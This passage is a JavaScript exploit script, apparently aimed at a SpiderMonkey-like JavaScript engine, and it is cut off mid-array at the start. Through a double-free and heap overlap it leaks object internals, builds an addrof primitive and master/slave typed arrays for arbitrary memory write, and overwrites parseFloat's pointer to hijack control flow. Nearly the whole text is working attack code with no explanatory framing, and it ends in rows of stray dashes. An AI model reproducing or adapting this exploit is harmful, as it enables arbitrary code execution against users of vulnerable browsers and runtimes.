0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
];
print("leaking JSObject data");
// Parses the string into a bunch of uint32s
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
print("freeing target twice and refilling with two JSObjects");
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
print("freeing object again and refilling with ArrayBuffer data");
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
print("crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
print("finding overlap");
refill_0[0] = 0x1; //modify spray value, not modify free addr
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
print("setting master->values to slave addr");
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
//refill_1[(56) / 4] = overlap_addr;
print("setting up arb read/write");
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
print("DONE");
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-